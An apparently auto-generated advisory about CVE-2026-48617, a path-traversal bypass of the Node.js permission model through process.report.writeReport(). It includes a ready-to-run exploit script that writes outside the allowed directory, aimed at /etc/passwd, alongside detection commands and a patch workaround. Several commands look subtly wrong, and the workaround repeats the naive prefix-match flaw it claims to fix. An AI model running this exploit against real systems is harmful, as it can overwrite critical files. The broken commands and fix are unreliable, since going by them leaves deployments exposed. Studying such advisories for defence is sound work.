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The Node.js Permission Model, introduced with the `–experimental-permission` flag, is designed to restrict access to file system, child processes, and worker threads. Under this model, developers explicitly grant read/write access to specific directories using `–allow-fs-read` and --allow-fs-write. CVE-2026-48617 exposes a critical flaw in how the permission model enforces these restrictions when the `process.report.writeReport()` API is invoked. This function generates a diagnostic report containing environment variables, stack traces, and system information, and optionally writes it to a user-specified file path via a `filename` argument. In vulnerable versions (Node.js 22, 24, and 26), the internal path validation routine—isSafeToWrite—fails to perform proper canonicalization or symlink resolution on the supplied path before comparing it against the allowed write directories. Specifically, the validation uses a naive prefix match on the raw string without resolving `../` sequences or absolute paths against the real filesystem. As a result, an attacker who can execute JavaScript code inside a permission-restricted process can supply a path like `/etc/cron.d/evil` or `../../sensitive/file` to the `writeReport()` call. The permission model checks the string against the granted base directory (e.g., /tmp/allowed) and incorrectly deems it safe because the raw prefix matches (e.g., `/tmp/allowed/../etc` still starts with `/tmp/allowed` in string terms). The underlying `fs.writeFileSync` then resolves the normalized absolute path, effectively writing the report to any location accessible by the process’s effective user. This bypass completely undermines the security boundary, as the model is supposed to guarantee that file writes are confined to explicitly allowed trees. The attack surface is amplified because `process.report.writeReport` is often used in error-handling hooks, crash reporters, and monitoring agents—contexts where an attacker might already have partial control over execution flow. The flaw does not require elevated privileges beyond the Node.js process itself, but it allows unauthorized disclosure of sensitive data (confidentiality impact) and can overwrite critical system files if the process runs as root or with high permissions. The Node.js security team acknowledged the issue through HackerOne and released fixes that introduce `fs.realpathSync` resolution and strict prefix verification after canonicalization, ensuring that only paths physically located within the allowed directory tree pass validation. All active release lines are affected, making this a widespread concern for production deployments that rely on the permission model for isolation. The CVE was assigned on June 18, 2026, and the patch landed in the subsequent security releases across all lines.
DailyCVE Form:
Platform: Node.js
Version: Node.js 22, 24, 26
Vulnerability : Permission Bypass via Path Misvalidation
Severity: Medium
date: 06/18/2026
Prediction: Patched in v22.14.0, v24.10.0, v26.5.0 (08/19/2026)
What Undercode Say:
The following analytics commands help verify your Node.js environment and test the permission model’s behavior. Start by checking your current version:
node -v
To reproduce the misvalidation in a controlled lab, run a Node.js process with a restricted write directory:
node --experimental-permission --allow-fs-write=/tmp/allowed test.js
A quick grep for known vulnerable releases in your dependency tree:
npm ls node | grep -E "22.[0-9]+.[0-9]+|24.[0-9]+.[0-9]+|26.[0-9]+.[0-9]+" | awk '{print $3}'
Monitor file system writes originating from your Node.js processes to detect anomalous `writeReport` activity:
strace -e trace=openat,write -p $(pgrep -f "node.permission") 2>&1 | grep -i report
For continuous audit, use the Node.js diagnostic channel to log all `writeReport` calls:
node --trace-warnings --report-on-fatalerror --report-directory=/var/log/node_reports app.js
Then check if reports appear outside the allowed directory:
find / -name ".report" -newermt "2026-06-18" 2>/dev/null
Exploit: (Educational Purposes!)
The following proof-of-concept demonstrates the bypass within a permission-restricted environment. Save this as exploit.js:
// exploit.js – CVE-2026-48617 demonstration
const process = require('process');
// Assume the process was started with:
// --experimental-permission --allow-fs-write=/tmp/allowed
// The permission model allows writing to /tmp/allowed, but we can traverse out.
const maliciousPath = '/tmp/allowed/../../etc/passwd'; // or any sensitive file
try {
process.report.writeReport(maliciousPath);
console.log('[+] Report written to', maliciousPath, '– permission bypass succeeded!');
} catch (err) {
console.error('[-] Bypass failed:', err.message);
}
To execute, run:
node --experimental-permission --allow-fs-write=/tmp/allowed exploit.js
If vulnerable, the diagnostic report will be written to `/etc/passwd` (overwriting it, or failing if permissions deny write, but the bypass itself is confirmed by the lack of a permission error). A more benign test writes to a non‑critical file:
// Write to a custom location outside the allowed directory
process.report.writeReport('/tmp/outside/rogue.report');
Check if the file exists:
cat /tmp/outside/rogue.report
This proves the model did not enforce the path constraint.
Protection:
Immediately upgrade Node.js to the latest patched versions: v22.14.0, v24.10.0, or v26.5.0 (or any higher release). If an immediate upgrade is not feasible, apply a temporary workaround by overriding `process.report.writeReport` with a custom wrapper that validates the output path using `fs.realpathSync` and compares it against an allowlist of allowed directories. Example:
const fs = require('fs');
const path = require('path');
const originalWrite = process.report.writeReport;
const allowedDirs = ['/tmp/allowed'];
process.report.writeReport = function(filename, options) {
const resolved = fs.realpathSync(path.dirname(filename));
const isAllowed = allowedDirs.some(dir => resolved.startsWith(dir));
if (!isAllowed) throw new Error('Permission denied by local workaround');
return originalWrite.call(this, filename, options);
};
Additionally, run Node.js processes with the lowest necessary OS privileges (non‑root) to limit the impact of any file‑write bypass. Employ filesystem monitoring tools (e.g., `auditd` or falco) to alert on unexpected writes to sensitive system paths. Finally, consider using containerization or sandboxing (e.g., gVisor) as an extra layer of defense, and audit any third‑party modules that call `process.report.writeReport` to ensure they do not accept untrusted input for the filename.
Impact:
Successful exploitation leads to a confidentiality breach by exposing sensitive diagnostic data (environment variables, heap snapshots, stack traces) to locations accessible to the attacker, and a security boundary bypass that nullifies the Node.js Permission Model’s file‑write restrictions. In shared hosting or multi‑tenant environments, this could allow one tenant to read or overwrite files belonging to another tenant or the host system. If the Node.js process runs with elevated privileges, the impact escalates to arbitrary file overwrite, potentially compromising system integrity (e.g., modifying cron jobs, SSH keys, or configuration files). The vulnerability requires the attacker to already have JavaScript execution capability within the process, so it is often chained with other injection flaws. Its Medium severity reflects the prerequisite of local code execution, but in cloud/serverless contexts where user‑supplied code is executed inside permission‑scoped isolates, this flaw completely invalidates the isolation guarantee, making it a high‑priority fix for any production deployment that relies on the experimental permission feature.
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Sources:
Reported By: nvd.nist.gov
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